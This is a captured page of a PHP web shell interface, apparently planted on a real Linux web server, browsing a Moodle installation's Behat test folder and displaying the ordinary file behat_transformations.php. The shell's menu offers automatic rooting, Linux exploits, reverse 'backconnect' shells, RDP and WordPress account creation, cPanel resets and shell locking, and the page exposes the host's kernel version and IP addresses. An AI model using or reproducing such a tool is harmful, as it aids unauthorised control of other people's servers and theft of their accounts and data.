Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.35
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
action_menu.feature
1.11
KB
-rw-r--r--
action_modal.feature
2.19
KB
-rw-r--r--
alpha_chooser.feature
21.29
KB
-rw-r--r--
app_behat_runtime.js
24.63
KB
-rw-r--r--
behat_accessibility.php
7.71
KB
-rw-r--r--
behat_action_menu.php
2.9
KB
-rw-r--r--
behat_app.php
21.51
KB
-rw-r--r--
behat_data_generators.php
6.75
KB
-rw-r--r--
behat_deprecated.php
3.72
KB
-rw-r--r--
behat_filters.php
2.95
KB
-rw-r--r--
behat_forms.php
29.94
KB
-rw-r--r--
behat_general.php
85.98
KB
-rw-r--r--
behat_hooks.php
33.02
KB
-rw-r--r--
behat_navigation.php
45.46
KB
-rw-r--r--
behat_permissions.php
11.67
KB
-rw-r--r--
behat_transformations.php
5.56
KB
-rw-r--r--
datetime_any.feature
4.09
KB
-rw-r--r--
largeforms.feature
4.45
KB
-rw-r--r--
locking.feature
8.26
KB
-rw-r--r--
permissionmanager.feature
2.61
KB
-rw-r--r--
readonlyform.feature
1.63
KB
-rw-r--r--
securelayout.feature
1.68
KB
-rw-r--r--
timezone.feature
431
B
-rw-r--r--
userfeedback.feature
2.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_transformations.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Behat arguments transformations. * * This methods are used by Behat CLI command. * * @package core * @category test * @copyright 2012 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php. require_once(__DIR__ . '/../../behat/behat_base.php'); use Behat\Gherkin\Node\TableNode; /** * Transformations to apply to steps arguments. * * This methods are applied to the steps arguments that matches * the regular expressions specified in the @Transform tag. * * @package core * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_transformations extends behat_base { /** * @deprecated since Moodle 3.2 */ public function prefixed_tablenode_transformations() { throw new coding_exception('prefixed_tablenode_transformations() can not be used anymore. ' . 'Please use tablenode_transformations() instead.'); } /** * Removes escaped argument delimiters. * * We use double quotes as arguments delimiters and * to add the " as part of an argument we escape it * with a backslash, this method removes this backslash. * * @Transform /^((.*)"(.*))$/ * @param string $string * @return string The string with the arguments fixed. */ public function arg_replace_slashes($string) { if (!is_scalar($string)) { return $string; } return str_replace('\"', '"', $string); } /** * Replaces $NASTYSTRING vars for a nasty string. * * @Transform /^((.*)\$NASTYSTRING(\d)(.*))$/ * @param string $argument The whole argument value. * @return string */ public function arg_replace_nasty_strings($argument) { if (!is_scalar($argument)) { return $argument; } return $this->replace_nasty_strings($argument); } /** * Convert string time to timestamp. * Use ::time::STRING_TIME_TO_CONVERT::DATE_FORMAT:: * * @Transform /^##(.*)##$/ * @param string $time * @return int timestamp. */ public function arg_time_to_string($time) { return $this->get_transformed_timestamp($time); } /** * Transformations for TableNode arguments. * * Transformations applicable to TableNode arguments should also * be applied, adding them in a different method for Behat API restrictions. * * @Transform table:* * @param TableNode $tablenode * @return TableNode The transformed table */ public function tablenode_transformations(TableNode $tablenode) { // Walk through all values including the optional headers. $rows = $tablenode->getRows(); foreach ($rows as $rowkey => $row) { foreach ($row as $colkey => $value) { // Transforms vars into nasty strings. if (preg_match('/\$NASTYSTRING(\d)/', $rows[$rowkey][$colkey])) { $rows[$rowkey][$colkey] = $this->replace_nasty_strings($rows[$rowkey][$colkey]); } // Transform time. if (preg_match('/^##(.*)##$/', $rows[$rowkey][$colkey], $match)) { if (isset($match[1])) { $rows[$rowkey][$colkey] = $this->get_transformed_timestamp($match[1]); } } } } // Return the transformed TableNode. unset($tablenode); $tablenode = new TableNode($rows); return $tablenode; } /** * Replaces $NASTYSTRING vars for a nasty string. * * Method reused by TableNode tranformation. * * @param string $string * @return string */ public function replace_nasty_strings($string) { return preg_replace_callback( '/\$NASTYSTRING(\d)/', function ($matches) { return nasty_strings::get($matches[0]); }, $string ); } /** * Return timestamp for the time passed. * * @param string $time time to convert * @return string */ protected function get_transformed_timestamp($time) { $timepassed = explode('##', $time); // If not a valid time string, then just return what was passed. if ((($timestamp = strtotime($timepassed[0])) === false)) { return $time; } $count = count($timepassed); if ($count === 2) { // If timestamp with specified strftime format, then return formatted date string. return userdate($timestamp, $timepassed[1]); } else if ($count === 1) { return $timestamp; } else { // If not a valid time string, then just return what was passed. return $time; } } }
Close